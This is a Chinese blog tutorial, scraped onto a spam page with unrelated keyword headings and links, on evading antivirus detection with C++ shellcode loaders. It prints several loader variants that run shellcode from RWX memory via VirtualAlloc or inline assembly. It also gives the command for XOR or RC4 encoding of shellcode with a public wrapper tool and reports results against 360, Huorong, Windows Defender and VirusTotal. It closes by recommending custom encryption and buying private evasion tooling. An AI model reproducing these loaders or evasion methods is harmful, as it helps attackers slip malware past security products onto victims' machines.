当前位置: 首页 > news >正文

重庆网站设计排名asp.net做网站Dreamver

重庆网站设计排名,asp.net做网站Dreamver,网站建设商家,室内设计师官网前言 上次讲了python混淆免杀,今天讲一下C混淆免杀。其实都大差不差的,也都是通过各种算法对shellcod进行混淆免杀,只不过是语言从python换成c了而已。 实验环境 测试环境依旧是360、火绒、WD还有VT。 shellcode上线 下面是最基本几个sh…

前言

上次讲了python混淆免杀,今天讲一下C++混淆免杀。其实都大差不差的,也都是通过各种算法对shellcod进行混淆免杀,只不过是语言从python换成c++了而已。

实验环境

测试环境依旧是360、火绒、WD还有VT。

shellcode上线

下面是最基本几个shellcode加载器和运行代码。

#include <Windows.h>
#include <stdio.h>
#include <string.h>
#pragma comment(linker,"/subsystem:\"Windows\" /entry:\"mainCRTStartup\"")   //windows控制台程序不出黑窗口
unsigned char buf[] =" ";
int main()
{//方式一:指针执行/* ((void(*)(void)) & buf)();*///方式二:强制类型转换//((void(WINAPI*)(void))&buf)();//方式三:申请动态内存加载/*char* Memory;Memory = VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);memcpy(Memory, buf, sizeof(buf));((void(*)())Memory)();*///方式四:嵌入汇编加载//__asm {//lea eax,buf//call eax//}//方式五:汇编花指令//__asm{//mov eax, offset shellcode//_emit 0xFF//_emit 0xE0//}
}

C++呢它不能像python那样直接运行就可以上线,必须生成exe才可以进行上线。顺便说一下如果你生成的shellcode是64位的,那么编译成exe也要选择64位的,同时选择release发布版本,如果你选择debug版本的话,在运行的时候可能会出错,说缺DLL啥的。

生成exe。

但是不知道为啥运行不了,黑窗弹出来然后马上就没了,命令运行也没见啥报错,奇怪了。

虚拟机运行报错如下,有了解的还请解答一下。

后来我又找了一个加载器,不同于上面四个的,这个就可以成功运行。

void main()
{LPVOID Memory = VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);if (Memory == NULL) { return; }memcpy(Memory, shellcode, sizeof(shellcode));((void(*)())Memory)();
}

不用说,原生态的肯定会被查杀的。

加载器免杀

上篇文章说了,除了对shellcode进行混淆之外,还可以对加载器进行免杀。这是我从github找的开源项目,反正就是换各种奇奇怪怪的加载器来执行shellcode,但是效果就不怎么好的,基本没有免杀成功的,就不一个个测试了。

shellcode免杀

我们利用ShellcodeWrapper这个脚本进行免杀,对我们的shellcode进行异或,或者是RC4加密。

下载地址:GitHub - Ch1ngg/ShellcodeWrapperModify: Shellcode wrapper with encryption for multiple target languages

XOR

先生成一个raw格式的shellcode。

这个项目用法也简单,-cpp就是加密后生成一个c++的源文件,-CS就是生成C#的源文件,-py这些也同样的道理。

./shellcode_encoder.py -cpp -cs -py -bin -go 3.bin xor

把c++的编译一下,测试效果,其它语言自己测试就好。火绒一落地就杀了,都还没检测。

WD也是一落地就杀了。

360也杀了。

VT有41个引擎检测到,免杀效果很差,不过也正常20年的项目了,现在都不更新了。

RC4

试试RC4看看效果如何,火绒杀掉了。

360也杀掉了

WD也不行。

说明这个项目确实没啥用了,VT就不测试了。

总结

思路就是用C++来写算法对shellcode加密,以此来逃过杀软的检测。C++的免杀效果不太好,想要达到更好的免杀效果,一个就是换其他语言,比如go啊、python啊。还有就是加密脚本尽量自己写,因为网上公开的脚本,只要用的人多了,杀软就会提取它的特征加入特征库,所以这就是为啥公开的很快就失效了。并不是说自己写的脚本加密方式有多复杂,而是避开了那些特征。还有就是可以进别人的星球去买内部的免杀资源,这样的效果会好很多。

最后,以上仅为个人的拙见,如何有不对的地方,欢迎各位师傅指正与补充,有兴趣的师傅可以一起交流学习。

http://www.yayakq.cn/news/931609/

相关文章:

  • 动态表单的设计与实现长沙网站seo厂家
  • 网站怎么优化wordpress 图片并列
  • 规划网站站点需要遵循哪些原则网站设计说明书功能流程图
  • 虚拟交易网站开发安徽蚌埠网
  • 电子烟网站设计现在最火的电商平台是什么
  • 福建福清市住房和建设局网站谷歌浏览器 安卓下载2023版官网
  • 嘉兴网站快速排名优化有ip怎么用自己的主机做网站
  • 外贸网站交易平台asp个人网站下载
  • 国内优秀的设计网站推荐wordpress欢迎新会员
  • 珠海专业机械网站建设公司网站需要多少钱
  • 安贞网站建设一般哪些商家需要建设网站
  • 去哪个网站找建筑图纸凡科精选app
  • 网站做分屏好不好营销网站建设计划书
  • 网站建设太金手指六六十八商城网站功能列表
  • 用自己的电脑做网站wordpress 获取页面id
  • 唐山企业网络推广培训聊城网站优化信息
  • 手机怎么注册网站品牌建设总结
  • 南宁手机网站制作公司福州设计企业项目建设管理系统
  • .netcore网站开发免费logo在线制作工具
  • 开封做网站公司汉狮泉州网红餐厅
  • 珠宝销售网站源码如何使用万网主机建设网站
  • 河北关键词seo排名网站如何进行优化
  • 乐清市宏杉网络科技有限公司郑州seo管理
  • 网站建设申请总结外贸网站建设课本
  • 阿里云虚拟主机建站教程小红书推广引流渠道
  • 德网站建设网站建设 sam大叔排名三天上首页
  • 如何制作网站视频小型深圳网站定制开发
  • 建设网站需要支付什么插件费用吗杭州建筑设计公司排名
  • 网站两边的悬浮框怎么做营销型企业网站包括哪些类型
  • 谁需要做网站的嘉兴网站关键字优化教程